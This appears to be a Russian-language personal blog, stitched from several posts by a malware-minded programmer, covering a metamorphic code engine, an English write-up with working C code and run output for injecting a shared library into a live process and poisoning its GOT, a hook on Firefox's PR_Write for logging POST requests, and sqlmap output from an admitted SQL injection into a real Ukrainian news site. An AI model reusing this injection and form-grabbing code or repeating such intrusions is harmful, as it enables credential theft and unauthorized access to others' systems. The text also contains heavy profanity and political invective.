Мне посыпались комментарии. Больше чем звездное небо внутри нас, и нравственный закон под ногами, меня поражают злорадствующие хуилы в камментах, по наивности пытающиеся меня доебать и привыкшие вылизывать задницу гебне и мусорне. Никак не могу к этому привыкнуть. Брезгливость не позволяет.
Наконец-то появился повод, что-нибудь написать. Вернулся к старой идее ("Recompiling the metamorphism", 2012). Всё как водится упиралось в лень и нежелание писать полноценный парсер. Лёд тронулся, господа присяжные заседатели. Фронтэнд парсит и сериализует abstract syntax tree, а бэкенд его успешно загружает и превращает в код. Теперь займусь кодогенератором, уберу gas. Байтоёбством давно не занимался, но ассемблирование и линковка - это уж совсем просто. Потом можно начинать развлекаться: constant unfolding, перемешивание top level declarations, криптостроки, издевательства над CFG. И всё это в качестве сайд-эффекта. :-) Сериализация вот в таком вод виде, довольно идиотический, зато простой и не заморочливый:
Давно и успешно использую следующий метод для поиска неэкспортируемых символов. Дизассемблируем код (linear sweep), линейно, хотя бы для того, чтобы убедиться, что код создан нормальным компилятором и в нем нет антиотладки. Отмечаем начало функций (все, что вызывется через call). Потом трейсим каждую функу рекурсивно и используем эвристики, такие как: использование констант (хорошо, если есть строки), определенный набор внешних функций или даже просто специфическую форму CFG. Странно, но нашел всего одно упоминание этого способа в нужном контексте, да и то без готового инструмента, а просто, как PoC. Так что и антивирусные приколы могут быть полезны, кто бы мог подумать. :-) Неожиданно, массовый софт - предельно стабилен и меняется медленно, так что "сигнатуры" (на control / data flow, не на инструкции) накрывают очень широкий диапазон версий.
Есть немного хешей в base36, и немного соотвествующих им данных (если это вообще хеши). Перебрал несколько вариантов, но не судьба, вдруг кто-нибудь угадает, чтобы это могло быть?
С вредной либой придумал вариант, в котором вообще не нужно ничего патчить. Попробую. Все отлично работает. Победная реляция пишется прямо в хакнутом броузере. :-) VirtualProtect / mprotect, memcpy Красиво. Никаких патчей. Рейс исключен в принципе. И этот кодес я пока придержу. ;-P
This short article describes how the combination of the two well-known techniques would allow to intercept library calls in runtime without PIC-code (as in [2]), patching the library functions or searches in the /proc/PID/maps.
The method described in [1] allows to inject the whole shared library into the process address space using the __libc_dlopen_mode and ptrace to form the library call within targets control flow. In order to complete our task one need to find the process GOT table and replace hijacked function GOT entry.
To avoid the /proc/PID/maps mess, I will search all neccessary tables through the link_map list (the pointer to it is stored in the GOT[1] of our shared object, which in turn could be found via _DYNAMIC array):
struct link_map *get_link_map(void) {
void **got = NULL;
Elf64_Dyn *dyn;
/* get link_map via _DYNAMIC, GOT[1] of the so */
for (dyn = _DYNAMIC; dyn->d_tag != DT_NULL; ++dyn)
if (dyn->d_tag == DT_PLTGOT)
got = (void**)dyn->d_un.d_ptr;
if (got == NULL || got[1] == NULL)
return NULL;
return (struct link_map*)got[1];
}
struct link_map *lm = get_link_map();
Next, I need to find the _DYNAMIC of the current process, and would traverse the link_map list (defined in link.h) in reverse order:
struct link_map *base = NULL;
for ( ; lm != NULL; lm = lm->l_prev) {
printf("%p\t%s\n", lm->l_ld, lm->l_name);
if (*lm->l_name == 0)
base = lm;
}
if (base == NULL)
return;
printf("base _DYNAMIC %p\n", base->l_ld);
To find the function by name I need pointers to .dynsym, .dynstr, .rel(a).plt, and will extract the pointers from the process .dynamic section (base->l_ld). The code presented below assumes RELA type of relocations on 64-bit system (the support for the REL and 32-bits would require trivial changes):
/* get dynsym / dynstr / relaplt from
base' _DYNAMIC (base->l_ld) */
Elf64_Dyn *dyn = NULL;
Elf64_Sym *sym = NULL;
Elf64_Rela *rel = NULL;
char *str = NULL;
int rsz = 0, i;
for (dyn = base->l_ld; dyn->d_tag != DT_NULL; dyn++) {
if (dyn->d_tag == DT_SYMTAB)
sym = (Elf64_Sym*)dyn->d_un.d_ptr;
else
if (dyn->d_tag == DT_STRTAB)
str = (char*)dyn->d_un.d_ptr;
else
if (dyn->d_tag == DT_JMPREL)
rel = (Elf64_Rela*)dyn->d_un.d_ptr;
else
if (dyn->d_tag == DT_PLTRELSZ)
rsz = dyn->d_un.d_val;
}
if (sym == NULL || rel == NULL || rsz < sizeof(Elf64_Rela)) {
return;
}
Finally, I would find the pointer to functions GOT entry (specified by name) and patch it:
/* find function' GOT ptr in RELA/DYNSYM and patch it */
char *symbol = "getpid";
for (i = 0; i < rsz / sizeof(Elf64_Rela); i++)
if (! strcmp(sym[
ELF64_R_SYM(rel[i].r_info)].st_name + str, symbol)) {
osym = *(void**)rel[i].r_offset;
*(void**)rel[i].r_offset = nsym;
break;
}
In the above example the hijacked function is getpid() and the replacement defined as follows:
static int (*osym)(void);
static int nsym(void)
{
return osym() + 1000;
}
The manipulations with linkers structures done from within init() function of the library. The Injectso64 tool was patched as follows (to allow dynamic linking):
Please note the RTLD_LAZY flag (instead of RTLD_NOW), otherwise the GOT[1] pointer would be empty!
I will use the following test program:
main()
{
for (;;) {
printf("I am running %d\n", getpid());
sleep(1);
}
}
And now running the things together:
$ ./test
I am running 31457
I am running 31457
I am running 31457
...
$ gcc -fPIC -shared -Wl,--init=init shared.c -o shared.so
$ ./inject `pidof test` ./shared.so
Trying to obtain __libc_dlopen_mode()
address relative to libc start address.
[1] Using my own __libc_dlopen_mode ...
success!
me: {__libc_dlopen_mode:0x33e2726db0, dlopen_offset:126db0}
=> daemon: {__libc_dlopen_mode:0x33e2726db0, libc:0x33e2600000}
rdi=7fff79b284d0 rsp=7fff79b28328 rip=33e26aca20
done!
...
I am running 31457
I am running 31457
I am running 31457
0x7f00eb438a40 ./shared.so
0x33e241fdf0 /lib64/ld-linux-x86-64.so.2
0x33e298db40 /lib64/libc.so.6
0x7fff79bff580
0x600768
base _DYNAMIC 0x600768
I am running 32457
I am running 32457
...
We successfully injected the complete shared object and ld took care of our own relocations and imports
Unlike some modern malware (like Hand of Thief) we have redirected function call without re-patching its prologue (that is the source of crashes in the concurrent environment).
The task is accomplished solely in runtime and doesn't requires any /proc lookups, system calls and pattern matching
Так как никто ничего дельного не пишет, приходится копаться во всяком УГ, типа Hand of Thief. Оно находит nspr4!PR_Write из проинжектированной либы, и затем затирает пролог jmp (0xe9). Естественно, так как FF хрень многопоточная, то при постоянной перезаписи пролога, креш броузера - это вопрос времени. (У мну пять секунд). Так как, NSPR подгружается динамически, то у PR_Write нет записи в GOT/PLT и PLT Redirection/GOT poisoning работать не будет. Так что нужно либо хватать dlsym до старта, либо внимательнее смотреть на PR_Write, который изначально определен вот так (mozilla/nsprpub/pr/src/io/priometh.c , теперь понятно на чем они сидят ;-):
Это я к чему. Не нужно ничего затирать и копировать байты. Нужно затереть ее один раз, а оригинальную функцию положить в отдельно выделенную память и звать ее оттуда. Или, если учесть, что struct PRIOMethods ни разу не менялся - звать напрямую, едва ли его поломают. Вот так:
static int pr_write(void *handle, void *buffer, int length)
{
...
return ((int (*)(void*,void*,int))
(*(void***)handle)[а тут кто-то в исходники полезет ;-)])
(handle, buffer, length);
}
Так что правильно, что ХоТ попал под блэк, на хуй, на хуй такой код. А у мну POST-запросы логируются на отлично:
POST /editjournal.bml HTTP/1.1
Host: lj.rossia.org
Content-Type: application/x-www-form-urlencoded ...
Чего и вам желаю. В следующий раз еще расскажу, как правильно делать GOT poisoning в рантайме, чтобы ничего не затирать и не копировать.
Я знаю, это ужасно, но мне срочно понадобилось распаковать пару томов бакуловских архивов. Так как bls и bextract вынесли мне мозг нахуй, был написан badump - Bacula Dirty Dumper, которому похуй на все, так же, как и мне. Надеюсь, что кроме меня им никто не воспользуется. :-)
иногда почему-то размер записи превышает размер блока. может он так показывает, что будет продолжение? думаете я пойду копаться в исходниках сторедж демона? а вот хуй!
Всегда подозревал, что в антивирусных компаниях сидят дебилы. В этот раз отличился Avast, накрыли сигнатурой абсолютно нормальный код. Не сумели привязаться ни к чему, и добавили функу шифрования (в ней запоминающиеся константы).
Кстати, по поводу РБК (27 мая). В начале копался руками, потом сообразил, что ломали дебилы и нужно быть проще. STFG inurl:"id=" site:rbc.ua дал ссылку на file.php, ну и все:
sqlmap identified the following injection points with a total of 51 HTTP(s) requests:
Type: boolean-based blind
Type: error-based
Type: UNION query
...
available databases [28]
Крысы ходили по серверам, как у себя дома. И на закуску (URI я затер, тут не сервис-центр, бага до сих пор там):
Стыдно, господа безопасники и хакеры. И адски скучно.
UPD. Написал в Ощад, Дмытру из РБК я уже давно отписался, но что-то мне подсказывает, что это дело дохлое. Если бы не юзера этой фигни, вылил бы все в паблик. Чтобы не мучаться /me ушел баловаться в зону RU.
Русские хакеры организовали "RCW" (Russian Cyber Warrior) для борьбы с не легитимной властью Петра Порошенко. Напомним, что Петр Порошенко выиграл выборы на Украине в первом туре, получив более 50% голосов избирателей. Как нам стало известно, на хакерских форумах идет активная подготовка для "кибер" войны с Украинскими властями. Целью хакеров являются крупные структуры экономики Украины, ВПК и Служба безопасности Украины. Первой целью хакеров станет НАК "Нафтогаз Украины". По заверениям одного из участников "RCW", банковский счет "Нафтогаза" будет подвергнут взлому и искуственному обвалу активов на финансовом рынке. По оценкам экспертов, "Нафтогаз" рискует потерять до 45% инвестиций, что приведет к окончательному обвалу экономики Украины. Для совершения операции хакеры собирают единомышленников на закрытых хакерских форумах, одними из которых являются "coru", "w0rmPW", "exploit", "fuckav". Сервером координации выбран "coru". Координированием занимаeтся некий человек под псевдоними "vazonez". Вот что по этому поводу нам рассказал начальник СБУ Якименко Александр Григорьевич: "У нас есть все возможности противостоять этим атакам. Наши заокеанские партнеры предоставят нам необходимые кадры для вычисления злоумышленников и пресечением их деятельности". Что это будет означать? Начало Третьей Мировой войны? Нет, Третья Мировая уже идет - она информационная.
Якименко назван "начальником СБУ". Для тех, кто в танке - в бегах он. На факаве говорят - "пиздеж и провокация", "izg0y@coru.ws: бред полный", на сплоите хихикают. Какой-то невообразимо дурацкий вброс. Или говновзлом. Школоте припекает, поди взломали РБК-Украина для пиару. Да, и Вазонез не допустил бы грамматических ошибок. Ж-)
This is a system generated message informing you that the above-named person is a federal prisoner who seeks to add you to his/her contact list for exchanging electronic messages. There is no message from the prisoner at this time.
You can ACCEPT this prisoner's request or BLOCK this individual or all federal prisoners from contacting you via electronic messaging at www.corrlinks.com. To register with CorrLinks you must enter the email address that received this notice along with the identification code below.
Email Address: ...
Identification Code: ...
This identification code will expire in 10 days.
By approving electronic correspondence with federal prisoners, you consent to have the Bureau of Prisons staff monitor the content of all electronic messages exchanged.
Once you have registered with CorrLinks and approved the prisoner for correspondence, the prisoner will be notified electronically.
Сколько волка не корми, а все равно - Слава Украине! :-)
«В тяжелый для Родины час, мы депутаты Государственной Думы Российской Федерации, осознавая лежащую на нас отвественность перед россиянами, должны сказать решительное «Нет!» обезумевшим чекистам, которые ведут Россию в пропасть. Мы должны немедленно вернуть наши вооруженные силы домой, и остановить агрессию по отношению к братской Украине»